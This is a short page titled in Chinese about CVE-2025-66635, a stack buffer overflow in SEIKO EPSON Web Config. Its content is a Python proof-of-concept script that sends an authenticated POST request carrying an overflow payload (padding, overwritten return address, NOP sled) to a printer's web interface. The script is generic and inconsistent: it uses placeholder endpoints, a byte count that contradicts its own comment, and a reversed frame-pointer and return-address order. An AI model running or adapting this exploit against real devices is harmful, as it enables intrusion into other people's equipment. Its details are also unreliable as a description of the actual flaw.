CVE-2025-66635: SEIKO EPSON Web Config 栈缓冲区溢出漏洞

# CVE-2025-66635 PoC - SEIKO EPSON Web Config Buffer Overflow # Requirements: Valid authentication credentials import requests import sys target_url = "http://<target-ip>/webconfig/endpoint" auth_token = "<valid-auth-token>" # Malicious payload - 3000 bytes overflow data # This payload overwrites the return address on the stack # Adjust the offset based on target version payload = b"A" * 2000 # Fill buffer up to return address payload += b"\x42\x42\x42\x42" # New return address (4 bytes) payload += b"\x43\x43\x43\x43" # SFP (4 bytes) payload += b"\x90" * 200 # NOP sled payload += b"\xcc" * 100 # Breakpoint (for debugging) headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "param_name": "buffer_input", "param_value": payload.decode('latin-1') } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(target_url, headers=headers, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") sys.exit(1)